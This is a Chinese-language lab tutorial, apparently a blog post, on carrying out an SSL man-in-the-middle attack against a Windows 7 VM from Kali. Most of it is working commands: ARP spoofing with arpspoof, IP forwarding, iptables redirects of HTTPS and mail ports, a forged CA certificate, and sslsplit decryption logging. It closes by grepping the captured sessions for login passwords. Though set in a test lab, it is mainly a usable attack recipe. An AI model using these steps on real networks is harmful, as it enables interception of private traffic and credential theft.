一.需要的设备:

    攻击机:kali;   ip地址:192.168.0.130

    目标机:windows7虚拟机;     ip地址:192.168.0.131

    vm网关:192.168.0.2

二.思路:

    SSL为安全套阶层协议。使用加密的方式保证链接的安全性。

    ssl中间人攻击,顾名思义,就是在SSL回话中,作为客户端和服务器端中间的代理,进行数据的侦听和转发,从而实现在不被客户端发觉的情况下,获取回话内容的一种攻击方式。要实现ssl中间人攻击,需要实现两个目标:作为中间人;解密SSL数据。

    正常情况下是,客户端和服务器直接对话模式:客户端——服务器;实施ssl中间人攻击后的对话模式:客户端——中间人——服务器。

三.ssl中间人攻击实现流程: 

1.前提:网络配置正确,攻击机和目标机在同一个网段,能够ping的通。

以下所有命令均在root下进行(切换成root用户:sudo su)

2.攻击机:扮演网关

    arp欺骗,让目标机认为攻击机是网关:

       arpspoof -i eth0 -t 192.168.0.131 -r 192.168.0.2   —— -t后跟目标机,-r后跟网关

    开启后不用关闭该窗口,再新开一个窗口做接下来的事。 

    目标机:用arp -a查看目标机的网关变为攻击机的MAC地址

3.攻击机:设置转发

     由于此时攻击机扮演网关的角色,所以需要有转发功能。

3.1 开启ip转发:sysctl -w net.ipv4.ip_forward=1

3.2 清空nat表:iptables -t nat -F
3.3  端口转发规则配置,由于下边(4.4)sslsplit要统一监听一个端口(8080,自己随便设),所以此处需要将所有各种协议产生的数据包转发到8080端口

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8000        #http
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080     #https
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8080     #MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8080     #SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8080     #IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8080     #POP3S
设置完成后可以通过iptables -t nat -L命令查看

4.攻击机:ssl解密

4.1 生成私钥:openssl genrsa -out ca.key 2048

4.2 使用私钥生成证书:openssl req -new -x509 -days 200 -key ca.key -out ca.crt    

      生成证书过程中,会让填写一些信息,自己测试阶段可以随便填。
   

4.3 创建一个目录:mkdir -p test/logdir,下边要用(4.4)

4.4 使用sslsplit实施中间人攻击

     正常写法(网上大佬的写法,我用了报错): sslsplit -D -l connect.log -j /root/test -S /root/test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

     我修改后的写法:sslsplit -D -l connect.log -j test -S test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8080 tcp 0.0.0.0 8000

 

    该窗口也不能关 !!

目标机测试:登录www.baidu.com会提示证书出错

    右键点击属性中的详细信息,可以查看到证书是你伪造的那个。

4.5 如果用户在目标机中进行登录百度,攻击者可以在攻击机中找到登录的账号和密码。

   目标机上产生的连接日志都会在/test/logdir目录下,进入该目录下:cd /test/logdir

   用全局搜索:grep 123456(我登陆用的账户)*,能搜索到账户密码信息,但由于像百度、淘宝这种大的机构,我们仅仅用https中间人解密并不足以看到最终的明文密码,但是https是可以解密的,用中间人攻击是成功的,这点在上边已经证实了。

结束了!

 

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐